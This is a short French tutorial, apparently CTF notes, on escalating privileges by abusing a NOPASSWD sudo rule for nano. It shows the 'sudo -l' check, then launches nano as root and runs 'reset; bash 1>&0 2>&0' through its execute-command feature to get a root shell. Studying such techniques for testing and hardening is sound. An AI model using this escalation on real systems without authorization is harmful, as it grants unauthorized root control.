Sudo Abuse privilege escalation (ex with nano)

Contexte

Le sudo abuse est à utiliser lorsqu’un utilisateur avec des droits élevés (sudo, root) a accès à une linux commande de base par exemple : iftop, find, nano, vim, man, awk, less, ftp, nmap, apache2, more sans être obligé de saisir son mot de passe, alors il est possible d’utiliser le sudo abuse pour faire une escalade de privilège d’un utilisateur ayant un rôle lama vers cet utilisateur.

Comment faire ?

sudo -l

Tout d’abord, recherchez le commande de base possible d’exploiter.

ctfuser@UBUNTU:~$ sudo -l
Entrées Defaults correspondant pour ctfuser sur HOTRANGE-UBUNTU1 :
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

L'utilisateur ctfuser peut utiliser les commandes suivantes sur ROOT-UBUNTU1 :
    (root) NOPASSWD: /usr/bin/nano

Exploit

faire la commande :

ctfuser@UBUNTU:~$ sudo -u root /usr/bin/nano

Une fois dans nano faire : ^R^X (ctrl + R puis ctrl + X)

ensuite dans commande à exécuter saisir :

reset; bash 1>&0 2>&0

Vous avez maintenant un bash en tant que root.